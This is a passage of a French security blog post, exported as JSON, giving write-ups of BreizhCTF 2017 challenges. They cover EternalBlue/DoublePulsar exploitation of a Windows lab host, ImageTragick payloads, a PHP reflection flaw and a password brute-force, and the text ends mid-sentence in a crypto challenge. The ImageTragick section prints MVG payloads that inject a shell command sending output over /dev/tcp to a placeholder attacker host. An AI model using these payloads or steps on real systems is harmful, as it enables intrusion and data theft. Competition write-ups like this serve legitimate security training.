{"id":2983,"date":"2017-05-01T13:30:05","date_gmt":"2017-05-01T11:30:05","guid":{"rendered":"http:\/\/securite.intrinsec.com\/?p=2983"},"modified":"2017-05-01T13:30:05","modified_gmt":"2017-05-01T11:30:05","slug":"breizhctf-2017","status":"publish","type":"post","link":"https:\/\/www.intrinsec.com\/en\/breizhctf-2017\/","title":{"rendered":"BreizhCTF 2017"},"content":{"rendered":"

Cette ann\u00e9e encore nous avons eu le plaisir de rejoindre Rennes pour l’\u00e9dition 2017 du BreizhCTF<\/a>, toujours aussi bien organis\u00e9 par Bretagne D\u00e9veloppement Innovation<\/a>, @SaxX<\/a> et @Kaluche<\/a> dans les locaux d’Epitech Rennes<\/a>.<\/p>\n

A l’issue de la nuit, nous nous sommes class\u00e9s en 8\u00e8me place, mais avec la satisfaction d’avoir r\u00e9solu presque toutes les \u00e9preuves.\"\"Bravo aux gagnants et merci aux organisateurs et sponsors !<\/p>\n

Spy [realistic]<\/h1>\n

250 points | 49% de r\u00e9solution<\/em><\/p>\n

Une des \u00e9preuves identifi\u00e9e comme \u00ab\u00a0r\u00e9aliste\u00a0\u00bb, nous donnait pour unique instruction de v\u00e9rifier s’il \u00e9tait possible de compromettre le serveur cible ayant pour adresse IP \u00ab\u00a010.119.227.111\u00a0\u00bb :<\/p>\n

\"\"<\/p>\n

Une premi\u00e8re phase d’analyse des ports accessibles sur ce serveur a donc \u00e9t\u00e9 r\u00e9alis\u00e9e via l’outil nmap,<\/em> afin d’identifier la surface d’exposition de celui-ci :<\/p>\n

\"\"<\/p>\n

L’utilisation des scripts NSE nous r\u00e9v\u00e8le la version de Windows utilis\u00e9e :<\/p>\n

\"\"<\/p>\n

En recoupant ces informations avec le titre de l’\u00e9preuve (SPY), nous savons que nous allons devoir utiliser les exploits Windows r\u00e9v\u00e9l\u00e9s ces derni\u00e8res semaines par les Shadow Brokers.<\/p>\n

Note :<\/strong> Il est important de rappeler qu’au vu du peu de retours concernant la composition de ces outils, nous ne pr\u00e9conisons pas leurs utilisations en dehors d’un environnement de test cloisonn\u00e9.<\/p>\n

Apr\u00e8s avoir install\u00e9 les diff\u00e9rentes d\u00e9pendances n\u00e9cessaires, nous lan\u00e7ons le Framework d’exploitation FuzzBunch,<\/em> et plus pr\u00e9cis\u00e9ment le module EternalBlue<\/em>, permettant d’exploiter la vuln\u00e9rabilit\u00e9 MS17-010 sur le protocole SMB :<\/p>\n

\"\"<\/p>\n

Une fois le module lanc\u00e9 en pr\u00e9cisant les diff\u00e9rents param\u00e8tres souhait\u00e9s, celui-ci installe une \u00ab\u00a0backdoor\u00a0\u00bb sur le poste (nous sommes sur la bonne voie :p).<\/p>\n

Nous g\u00e9n\u00e9rons alors une DLL au pr\u00e9alable via le Framework Empire <\/em>:<\/p>\n

\"\"<\/p>\n

L’utilitaire \u00ab\u00a0DoublePulsar<\/em>\u00a0\u00bb permet ensuite de charger cette DLL arbitraire sur le poste vuln\u00e9rable, en sp\u00e9cifiant le chemin complet vers celle-ci :<\/p>\n

\"\"<\/p>\n

Une fois l’ensemble des informations v\u00e9rifi\u00e9, nous pouvons lancer l’attaque :<\/p>\n

\"\"<\/p>\n

Un agent Empire est alors r\u00e9cup\u00e9r\u00e9 avec les droits \u00ab\u00a0NT SYSTEM\u00a0\u00bb (\\0\/) :<\/p>\n

\"\"<\/p>\n

Afin de simplifier la suite du sc\u00e9nario d’exploitation, nous cr\u00e9ons simplement un utilisateur local appartenant au groupe des administrateurs locaux du poste compromis :<\/p>\n

\"\"<\/p>\n

Il suffit alors de se connecter au service RDP pr\u00e9c\u00e9demment identifi\u00e9 via le compte Administrateur cr\u00e9\u00e9 :<\/p>\n

\"\"<\/p>\n

Et de parcourir les dossiers de l’utilisateur \u00ab\u00a0NSA\u00a0\u00bb pour enfin acc\u00e9der au flag de l’\u00e9preuve :<\/p>\n

\"\"<\/p>\n

Pour information, la majorit\u00e9 des vuln\u00e9rabilit\u00e9s r\u00e9v\u00e9l\u00e9es par les Shadow Brokers et impactant les syst\u00e8mes d’exploitation Windows a \u00e9t\u00e9 corrig\u00e9e par Microsoft (cf. communication officielle<\/a>).<\/p>\n

Comme toujours, il convient donc d’appliquer les derniers correctifs de s\u00e9curit\u00e9 disponibles afin de se pr\u00e9munir de ce type de sc\u00e9nario d’exploitation.<\/p>\n

Enfin, le module Metasploit auxiliary\/scanner\/smb\/smb_ms17_010<\/a> permet de v\u00e9rifier la pr\u00e9sence de la vuln\u00e9rabilit\u00e9 MS17-010, en v\u00e9rifiant les codes de retour lors des tentatives d’acc\u00e8s au partage IPC$ et l’envoi d’une transaction sur l’ID de fichier 0 (FID 0).<\/p>\n

The Voting Machine [web]<\/h1>\n

175 points | 31% de r\u00e9solution<\/em><\/p>\n

Il s\u2019agit d\u2019une application Web simpliste avec seulement un formulaire qui propose de voter pour un pr\u00e9sident. Au-del\u00e0 des champs textuels classiques (nom, pr\u00e9nom\u2026) nous avons un upload d\u2019image.<\/p>\n

L\u2019application v\u00e9rifie que le fichier envoy\u00e9 porte bien une extension d\u2019image et l\u2019upload d\u2019une image invalide g\u00e9n\u00e8re une erreur 500 laissant supposer que l\u2019image est trait\u00e9e d\u2019une certaine mani\u00e8re. Sans indice sur l\u2019\u00e9ventuel stockage du fichier ni sur son emplacement, nous abandonnons la piste de l\u2019upload d\u2019un webshell et nous nous rappelons la fameuse vuln\u00e9rabilit\u00e9 ImageTragick (CVE-2016\u20133714)<\/a>.<\/p>\n

Le site officiel nous donne des pistes de payloads int\u00e9ressants, nous confirmons la vuln\u00e9rabilit\u00e9 par le d\u00e9clenchement d\u2019une SSRF en direction de notre machine avec le fichier foo.mvg suivant (cette extension exotique \u00e9tait accept\u00e9e par l\u2019application Web, ce qui est suffisamment rare pour confirmer notre intuition) :<\/p>\n

push graphic-context\nviewbox 0 0 640 480\nfill 'url(http:\/\/IP_ATTAQUANT\/)'\npop graphic-context\n<\/pre>\n
Nous nous sommes ensuite int\u00e9ress\u00e9s au payload plus int\u00e9ressant : celui permettant d\u2019ex\u00e9cuter des commandes arbitraires. Il est n\u00e9cessaire de charger une image avec \u00ab\u00a0https:\/\/\u00a0\u00bb pour d\u00e9clencher l’injection de commande. Ici nul besoin d\u2019obtenir un reverse shell<\/em> interactif, le fichier suivant \u00e9tait suffisamment pour recevoir sur notre port 80 le r\u00e9sultat de la commande ls<\/em> :<\/p>\n
push graphic-context\nviewbox 0 0 640 480\nfill 'url(https:\/\/IP_ATTAQUANT\"||\/bin\/bash -c \"ls > \/dev\/tcp\/IP_ATTAQUANT\/80)'\npop graphic-context\n<\/pre>\n
Logiquement nous rep\u00e9rons un fichier flag.txt dans le r\u00e9pertoire courant et obtenons son contenu :<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
Eddy Malou [web]<\/h1>\n
350 points | 57% de r\u00e9solution<\/em><\/p>\n
Cette application PHP simple permet de se connecter pour acc\u00e9der \u00e0 une liste de messages d\u00e9pos\u00e9s par les utilisateurs. Nous pouvons \u00e9galement d\u00e9poser notre message.<\/p>\n
Toutes ces actions sont d\u00e9clench\u00e9es par des requ\u00eates POST sur la racine du site avec un param\u00e8tre action<\/em> et un param\u00e8tre data.<\/em><\/p>\n
Une valeur invalide du param\u00e8tre action<\/em> d\u00e9clenche une ReflectionException<\/em> : le message d\u2019erreur indique sans ambig\u00fcit\u00e9 que la m\u00e9thode d\u2019introspection getMethod<\/em> est appel\u00e9e sur l\u2019objet courant avec le param\u00e8tre pass\u00e9 :<\/p>\n
\"\"<\/p>\n
Nous pouvons donc appeler la m\u00e9thode de notre choix, reste \u00e0 d\u00e9couvrir la liste de ces m\u00e9thodes. Nous pensons alors \u00e0 la fonction magique __toString<\/em> qui fonctionne \u00e0 merveille :<\/p>\n
\"\"<\/p>\n
Nous appelons donc la m\u00e9thode set_access<\/em> pour devenir administrateur et nous voir offrir le flag (saluons au passage les tentatives d\u2019injections diverses de nos concurrents) :<\/p>\n
\"\"<\/p>\n
Shufflunatorz [web]<\/h1>\n
100 points | 63% de r\u00e9solution<\/em><\/p>\n
Cette application Web PHP nous propose de nous connecter en tant qu\u2019admin et nous divulgue m\u00eame son mot de passe, cependant l\u2019application nous donne les bonnes lettres mais dans le d\u00e9sordre (shuffled)<\/em>, et les re-m\u00e9lange \u00e0 chaque soumission. Nous observons aussi la pr\u00e9sence d\u2019un jeton anti-rejeu qui change \u00e0 chaque fois.<\/p>\n
Nous g\u00e9n\u00e9rons en Python les 5040 combinaisons :<\/p>\n
import itertools\n\nc = 'ecibopm'\nfor i in itertools.permutations(c, len(c)):\n    print(\"\".join(i))<\/pre>\n
Puis d\u00e9cidons de tester toutes les combinaisons sur l\u2019application. Pour ce faire nous utilisons Burp et le configurons pour extraire et reporter le jeton anti-rejeu d\u2019une requ\u00eate \u00e0 l\u2019autre, comme lorsque nous auditons une application comportant un jeton anti-CSRF.<\/p>\n
Apr\u00e8s un peu de patience (cette m\u00e9thode ne permettant pas la parall\u00e9lisation) nous sommes r\u00e9compens\u00e9s :<\/p>\n
\"\"<\/p>\n
Cryptopat [crypto]<\/h1>\n
250 points | 9% de r\u00e9solution<\/em><\/p>\n
Nous avons r\u00e9ussi \u00e0 intercepter une conversation entre Alice et Bob sur un canal non s\u00e9curis\u00e9. Malheureusement, le message contenant les informations sensibles dont nous souhaitons r\u00e9cup\u00e9rer a \u00e9t\u00e9 chiffr\u00e9 par le biais du chiffrement asym\u00e9trique RSA.<\/em><\/p>\n
C’est pour cela que nous engageons les meilleurs cryptanalystes qui seront r\u00e9compens\u00e9s par des points s’ils parviennent \u00e0 nous retrouver partiellement ou l’int\u00e9gralit\u00e9 des donn\u00e9es dont nous recherchons !<\/em><\/p>\n
Pour vous faciliter la t\u00e2che nous vous avons extrait chacun de ces messages et les avons class\u00e9s par ordre chronologique. (message1, puis message2 …). Nous avons \u00e9galement intercept\u00e9 deux cl\u00e9s publique en provenance d’Alice. (d’abord pubkey, ensuite pubkey2). Esp\u00e9rons que cela suffise pour que vous puissiez nous aider !<\/em><\/p>\n
Le challenge se pr\u00e9sente sous la forme d’un archive contenant plusieurs fichiers : deux cl\u00e9s publiques, quatre messages d\u00e9chiffr\u00e9s et un message chiffr\u00e9.<\/p>\n
Les quatre messages contiennent l’extrait d’un \u00e9change entre Bob et Alice\u00a0:<\/p>\n
\"\"<\/p>\n
Trois informations importantes y sont pr\u00e9sent\u00e9es :<\/p>\n